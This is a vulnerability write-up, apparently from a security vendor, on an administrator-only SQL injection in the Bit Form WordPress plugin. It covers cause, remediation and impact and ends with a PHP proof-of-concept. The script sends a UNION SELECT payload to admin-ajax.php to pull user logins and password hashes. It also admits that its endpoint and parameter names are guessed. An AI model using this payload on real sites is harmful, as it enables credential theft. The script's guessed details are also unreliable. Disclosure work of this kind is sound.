Atomic Edge analysis of CVE-2026-25418 (metadata-based):
The Bit Form WordPress plugin, up to and including version 2.21.10, contains an authenticated SQL injection vulnerability. This flaw exists in a component accessible to users with administrator-level privileges or higher. The vulnerability has a CVSS score of 4.9 (Medium severity), reflecting its high confidentiality impact but requirement for elevated access.
Atomic Edge research identifies the root cause as improper neutralization of special elements within an SQL command (CWE-89). The vulnerability description explicitly cites insufficient escaping on user-supplied parameters and a lack of sufficient preparation on the existing SQL query. This indicates the plugin likely constructs SQL queries by directly concatenating user-controlled input into the query string without using parameterized statements via `$wpdb->prepare()`. These conclusions are inferred from the CWE classification and the public description, as the source code diff is unavailable for confirmation.
The exploitation vector requires an authenticated attacker with administrator-level access. The attacker would likely target a WordPress AJAX handler or a REST API endpoint exposed by the Bit Form plugin. A common pattern is a request to `/wp-admin/admin-ajax.php` with an `action` parameter like `bit_form_action`. The attacker would then supply a malicious payload in another parameter, such as `id` or `form_id`, to trigger the injection. A payload might be `1 UNION SELECT user_login,user_pass FROM wp_users` to extract credential hashes from the database.
Effective remediation requires implementing proper input validation and using parameterized queries. The patched version, 2.21.11, likely replaced vulnerable string concatenation with the WordPress `$wpdb->prepare()` function. This function ensures user input is safely escaped and treated as data, not executable SQL code. The fix should also validate user capabilities for the affected endpoint, though the vulnerability already required high privileges.
Successful exploitation allows an attacker with administrator access to execute arbitrary SQL commands on the underlying WordPress database. This can lead to complete exposure of sensitive data, including hashed user passwords, personally identifiable information from form submissions, and other application secrets. While the attack requires high privileges, it can be used for data exfiltration and potentially privilege escalation if user data is compromised.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25418 - Bit Form <= 2.21.10 - Authenticated (Administrator+) SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-25418.
* ASSUMPTIONS: This script assumes the vulnerable endpoint is an AJAX handler.
* The exact action name and parameter are inferred from common plugin patterns.
* A valid administrator WordPress cookie is required for authentication.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$admin_cookie = 'wordpress_logged_in_xxxx=...'; // CHANGE THIS to a valid admin session cookie
// Inferred vulnerable AJAX action. Common patterns include plugin slug prefixes.
$post_fields = [
'action' => 'bit_form_handle', // INFERRED action name
'form_id' => '1', // INFERRED vulnerable parameter
// SQL Injection payload: Attempt to extract the first username and password hash from wp_users.
// The payload structure assumes the original query expects a numeric ID.
'injectable_param' => "1 UNION SELECT user_login, user_pass FROM wp_users LIMIT 1--"
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Cookie: ' . $admin_cookie,
'Content-Type: application/x-www-form-urlencoded'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body (truncated): " . substr($response, 0, 500) . "n";
// A successful injection may reveal database data in the response.
?>
